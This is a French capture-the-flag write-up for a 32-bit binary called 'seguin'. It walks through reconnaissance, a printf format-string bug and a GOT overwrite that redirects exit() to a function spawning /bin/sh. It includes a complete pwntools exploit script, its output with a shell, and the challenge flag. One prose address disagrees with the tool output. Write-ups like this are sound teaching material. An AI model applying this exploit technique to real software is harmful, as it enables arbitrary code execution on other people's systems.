Table des matières
Reconnaissance
Informations sur le binaire
$ file seguin
seguin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=f845ef5d12dec4dc33f8be776208c5af5b1b52c4, for GNU/Linux 3.2.0, not stripped
- Architecture i386 (32-bit)
- Dynamiquement linké
- Not stripped -> symboles disponibles
Protections
$ checksec seguin
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
| Protection | Etat | Impact |
|---|---|---|
| RELRO | Partial | GOT writable |
| Stack Canary | Non | Pas de canary à bypass |
| NX | Oui | Stack non exécutable ; pas de shellcode sur la stack |
| PIE | Non | Adresses fixes et prédictibles |
Analyse Statique
Décompilation du main()
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char s[32]; // [esp+0h] [ebp-28h] BYREF
int *p_argc; // [esp+20h] [ebp-8h]
p_argc = &argc;
puts("************************************");
puts("Service d'adoption d'animaux");
puts("************************************");
printf("Merci d' indiquer le nom de l'animal que vous etes venus chercher :\n>>> ");
fflush(stdout);
fgets(s, 32, stdin);
printf("Vouz avez demandé ");
printf(s); // Aucun format spécifier = Format String
puts("Nous vous tiendrons au courant");
exit(0);
}
Fonction shell : chevre()
int chevre()
{
return system("/bin/sh");
}
Récupération de l’adresse :
objdump -d seguin | grep "<chevre>"
080491b2 <chevre>:
ou
(gdb) i func
...
0x080491b2 chevre
...
Architecture du programme
Analyse Dynamique
Exécution normale
$ ./seguin
************************************
** Service d'adoption des bovidés **
************************************
Merci d' indiquer le nom de l'animal que vous etes venus chercher :
>>> test
Vouz avez demandé test
Nous vous tiendrons au courant
Test format string
>>> %p
Vouz avez demandé 0x20
Nous vous tiendrons au courant
>>> %p-%p-%p
Vouz avez demandé 0x20-0xf7f02620-0x80491f4
Nous vous tiendrons au courant
Nous avons la confirmation qu’il est bien question d’une vulnérabilité de type Format String dans printf()
Analyse de la GOT (Global Offset Table)
pwndbg> got
[0x804c00c] printf@GLIBC_2.0 -> 0xf7ddcf10 (printf) ◂— call 0xf7ef83ed
[0x804c010] fflush@GLIBC_2.0 -> 0xf7dfc0a0 (fflush) ◂— push ebp
[0x804c014] fgets@GLIBC_2.0 -> 0xf7dfc350 (fgets) ◂— push ebp
[0x804c018] puts@GLIBC_2.0 -> 0xf7dfde80 (puts) ◂— push ebp
[0x804c01c] system@GLIBC_2.0 -> 0x8049076 (system@plt+6) ◂— push 0x20 /* 'h ' */ (non résolu [lazy bind])
[0x804c020] exit@GLIBC_2.0 -> 0x8049086 (exit@plt+6) ◂— push 0x28 /* 'h(' */ (non résolu [lazy bind])
[0x804c024] __libc_start_main@GLIBC_2.0 -> 0xf7dac310 (__libc_start_main) ◂— push ebp
Format String
Fonctionnement normal de printf()
printf("Hello %s, vous avez %d ans", name, age);
┌─────────────────────────────────────────────────────────┐
│ Stack lors de l'appel printf() │
├─────────────────────────────────────────────────────────┤
│ ESP → [pointeur format string] │
│ [pointeur name] ← %s lit ici │
│ [valeur age] ← %d lit ici │
│ ... │
└─────────────────────────────────────────────────────────┘
Vulnérabilité
char s[32];
fgets(s, 32, stdin);
printf(s);
printf() va lire la stack
Le format format specifier: %n
int count;
printf("AAAA%n", &count);
// count = 4
En exploitation :
payload = b"\x20\xc0\x04\x08"
^^^^^^^^^^^^^^^^
Adresse @ offset 4
payload += b"AAAA%4$n";
^^^^
Ecrit ici
Offset
Trouver le bon offset
from pwn import *
p = process("./seguin")
payload = b"%p-" * 16
p.sendlineafter(b">>>", payload)
output = p.recvall(2)
print(output)
Résultat
$ python test.py
[+] Starting local process './seguin': pid 55427
[+] Receiving all data: Done (154B)
[*] Process './seguin' stopped with exit code 0 (pid 55427)
b' Vouz avez demand\xc3\xa9 0x20-0xf7f95620-0x80491f4-0x252d7025-0x70252d70-0x2d70252d-...Nous vous tiendrons au courant\n'
^^^^^^^^^^ ^^^^^^^^^^ ^^^^^^^^^^ ^^^
Buffer
Confirmer l’offset
>>> from pwn import *
>>> p32(0x252d7025)
b'%p-%'
>>> p32(0x70252d70)
b'p-%p-'
>>> p32(0x2d70252d)
b'-%p-'
Stack lors de printf(s)
Exploitation
GOT Overwrite
call exit(0) avant exploitation :
- call exit@PLT
- jmp [exit@GOT] <- Lit l’adresse dans la GOT
- Exécute la fonction à cette adresse
Après exploitation :
- call exit@PLT
- jmp [exit@GOT] <- Lit 0x080491c6 (chevre)
- Exécute
chevre()-> system("/bin/sh")
Pourquoi écrire en 2 fois
- Problème : On veut écrire
0x080491c6(4 bytes) - Solution : Utiliser
%hnpour écrire 2 bytes à la fois
Décomposition :
- Lower (bytes de poids faible) : 0x91c6 = 37318 en décimal
- Upper (bytes de poids fort) : 0x0804 = 2052 en décimal
Structure du Payload
Process écriture
Exploit Final
from pwn import *
binary = "./seguin"
context.arch = "i386"
context.binary = elf = ELF(binary, checksec=False)
context.log_level = "info"
p = process(binary)
chevre = elf.sym["chevre"]
exit_got = elf.got["exit"]
log.info(f"chevre(): {hex(chevre)}")
log.info(f"exit@GOT: {hex(exit_got)}")
lower = chevre & 0xFFFF
upper = (chevre >> 16) & 0xFFFF
log.info(f"Lower: {hex(lower)} ({lower})")
log.info(f"Upper: {hex(upper)} ({upper})")
already_printed = 8
padding_lower = ((lower - already_printed) if lower > already_printed else (0x10000 + lower - already_printed))
padding_upper = (upper - lower) if upper > lower else (0x10000 + upper - lower)
log.info(f"Padding lower: {padding_lower}")
log.info(f"Padding upper: {padding_upper}")
payload = flat(
[
p32(exit_got),
p32(exit_got + 2),
f"%{padding_lower}c".encode(),
b"%4$hn",
f"%{padding_upper}c".encode(),
b"%5$hn",
]
)
with open("payload.bin", "wb") as f:
f.write(payload)
f.close()
log.info(f"Payload size: {len(payload)}")
print(hexdump(payload))
p.sendlineafter(b">>> ", payload)
p.interactive()
$ python solve.py
[*] chevre(): 0x80491b2
[*] exit@GOT: 0x804c020
[*] Lower: 0x91b2 (37298)
[*] Upper: 0x804 (2052)
[*] Padding lower: 37290
[*] Padding upper: 30290
[*] Payload size: 32
00000000 20 c0 04 08 22 c0 04 08 25 33 37 32 39 30 63 25 │ ···│"···│%372│90c%│
00000010 34 24 68 6e 25 33 30 32 39 30 63 25 35 24 68 6e │4$hn│%302│90c%│5$hn│
00000020
[*] Switching to interactive mode
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ cat flag.txt
FCSC{1a8b4cd78b8dfa2ea2644ade38fcdb7f116a4953ea05d944d6683c6c365c47f6}